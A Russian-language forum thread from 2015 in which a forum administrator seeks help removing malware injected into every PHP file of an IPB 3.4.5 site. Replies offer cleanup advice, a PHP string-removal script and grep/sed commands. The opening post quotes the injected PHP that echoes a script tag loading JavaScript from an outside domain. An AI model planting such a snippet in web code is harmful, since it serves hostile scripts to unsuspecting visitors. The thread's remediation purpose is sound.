1. Важное и срочное обновление IPB 3.4.5 - https://nulled.cc/threads/243375/

[Помощь] Вылечить от вируса 3.4.5

Тема в разделе "IPB", создана пользователем n1k.Sly, 11 июн 2015.

Модераторы: Maybe
  1. n1k.Sly

    n1k.Sly Постоялец

    Регистр.:
    7 сен 2009
    Сообщения:
    81
    Симпатии:
    7
    Всем привет!
    Есть у нас форум версии 3.4.5
    И намедни заходя, я увидел что гугл меня предостерегает...
    Я все равно зашел и увидел в строке ожидания подгрузку с непонятного сайта.
    И сверху warning'и:
    Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 114

    Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 127

    Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 136

    Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 137

    Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 141

    Начал смотреть файлы, оказалось что во всех *.php в конце такое:
    PHP:
    #66a55c#
    if(empty($at)) {
    $at "<script type=\"text/javascript\" src=\"http://nataliadeandres.com/wp-content/themes/hemingway/hcqtjjrm.php?id=1255239\"></script>";
    echo 
    $at;
    }
    #/66a55c#
    hcqtjjrm.php?id=1255239 - цифры везде меняются, в каждом файлы рандомные цифры стоят
    #66a55c# - это так же в каждом файле рандомное идет.
    В шапке до warning'ов так же посилился этот код.

    собственно вопрос, как можно почистить все это безобразие? Так вышло бэкапы никто не делал.
     
  2. WiZXaK

    WiZXaK Причиняю добро

    Регистр.:
    8 сен 2012
    Сообщения:
    582
    Симпатии:
    808
    1) Делаем копию текущий фигни (запрос копии у хостера).
    2) Все системные файлы заменяем из чистого дистрибутива
    3) Поиск с заменой с по остальным файлом (с условием id=*) или замена на что-то безвредное.
    - все это только для того чтобы вернуть работоспособность.
    Далее это: анализ логов, смена паролей, скан кода и бд, поиск дыр и т.д. - принятие мер.
     
  3. bigbuild

    bigbuild Создатель

    Регистр.:
    9 июн 2015
    Сообщения:
    18
    Симпатии:
    2
    Вы давно заплатки на IPB ставили?
    Там зимой и весной выходило много заплаток для 3.4.x
    Версию 3.4.8 выпустили как раз чисто из-за заплаток, просто фиксы дыр и ничего нового.
     
  4. n1k.Sly

    n1k.Sly Постоялец

    Регистр.:
    7 сен 2009
    Сообщения:
    81
    Симпатии:
    7
    Вот пока что только бы вернуть работоспособность, с остальным будем разбираться, форум увидел в первые и там творится жуткий ужас.
    Дамп базы выкачал 1гб... Вобщем не суть...

    Я нашел такой вот скрип:
    PHP:
    <?php

    //gendalf_grey

    $virus_text 'в эти кавычки пишем вредоносный код';
    $skip_files = array ('delvir.php');
    $del true;
    $dir getcwd().'/';
    $num_infected 0;
    function 
    dir_walk($callback$dir$types null$recursive false$baseDir '') {
        if (
    $dh opendir($dir)) {
            while ((
    $file readdir($dh))!== false) {
                if (
    $file === '.' || $file === '..') {
                    continue;
                }
                if (
    is_file($dir $file)) {
                    if (
    is_array($types)) {
                        if (!
    in_array(strtolower(pathinfo($dir $filePATHINFO_EXTENSION)), $typestrue)) {
                            continue;
                        }
                    }
                    
    $callback($baseDir$file);
                }elseif(
    $recursive && is_dir($dir $file)) {
                    
    dir_walk($callback$dir $file DIRECTORY_SEPARATOR$types$recursive$baseDir $file DIRECTORY_SEPARATOR);
                }
            }
            
    closedir($dh);
        }
    }
    function 
    del_virus ($fdir$ffile)
    {
        
    $flag false;
    $filename $fdir.$ffile;
    echo 
    $filename;
    if (!
    in_array($ffile$GLOBALS['skip_files'])){
    $handle fopen($filename"r");
    $fsize filesize($filename);
    if (!
    $fsize){
    $contents '';
    }else{
    $contents fread($handle$fsize);
    }
    fclose($handle);
    if (
    strpos($contents$GLOBALS['virus_text']) !== false) {
    if ( 
    $GLOBALS['del'] ) {
    $contents str_replace($GLOBALS['virus_text'], ''$contents);
    $handle fopen($filename"wb");
    fwrite($handle,$contents);
    fclose($handle);
    echo 
    " - deleted";
    }
    echo 
    " - infected";
    $GLOBALS['num_infected']++;
    }
    }else{
    echo 
    " - skipped";
    }
    echo 
    "<br/>";
    };
    dir_walk('del_virus'$dir, array('php','php5','html','htm','shtml'), true$dir );
    echo 
    "Num infected = $num_infected <br/>";
    ?>

    Будет замечательно если кто поможет, чтоб можно было использовать с моим случаем где в каждом файле рандом чисел...


    Сейчас то да... Просто никто не следил за форумом, и так вышло что с даты релиза 3.4.5 не апдейтился.
     
  5. WiZXaK

    WiZXaK Причиняю добро

    Регистр.:
    8 сен 2012
    Сообщения:
    582
    Симпатии:
    808
    Если нет скрипта, юзаем проги вроде: Notepad++ (Регулярные выражения), мб Text Replacer (аналогов уйма) - условие: возможность замены по маске.
     
    Последнее редактирование: 11 июн 2015
    n1k.Sly нравится это.
  6. bigbuild

    bigbuild Создатель

    Регистр.:
    9 июн 2015
    Сообщения:
    18
    Симпатии:
    2
    вирус на форуме, редирект на URL
     
  7. satanbass

    satanbass Писатель

    Регистр.:
    29 дек 2012
    Сообщения:
    5
    Симпатии:
    0
    Хорошо... Если форум этой какой заразили, есть возможность просто восстановить бекап и таким образом без геморроя избавится от вируса?
     
  8. n1k.Sly

    n1k.Sly Постоялец

    Регистр.:
    7 сен 2009
    Сообщения:
    81
    Симпатии:
    7
    Ну если есть бэкап чистый конечно, главное после сразу поставить все патчи чтоб не было проблем.
     
  9. xBUTCHERx

    xBUTCHERx Создатель

    Регистр.:
    2 дек 2008
    Сообщения:
    19
    Симпатии:
    1
    В линуксе:
    Вывести имена файлов, в которых найдена строка с текстом адреса сайта:
    #grep -rl nataliadeandres.com /forum

    Перенаправить в SED и удалить ВСЮ строку, в которую входит адрес сайта и сохранить файл.
    #grep -rH nataliadeandres.com . | cut -d: -f1 | xargs sed -i /nataliadeandres.com/d

    Но седом можно запороть файлы, поэтому не забывайте про бекап.
    grep -rlZ nataliadeandres.com . | xargs -0 sed -i.bak /nataliadeandres.com/d

    Если файлов очень много, можно попробовать применить многопоточность:
    grep -rlZ nataliadeandres.com . | xargs -0 -P4 -l8 sed -i.bak /nataliadeandres.com/d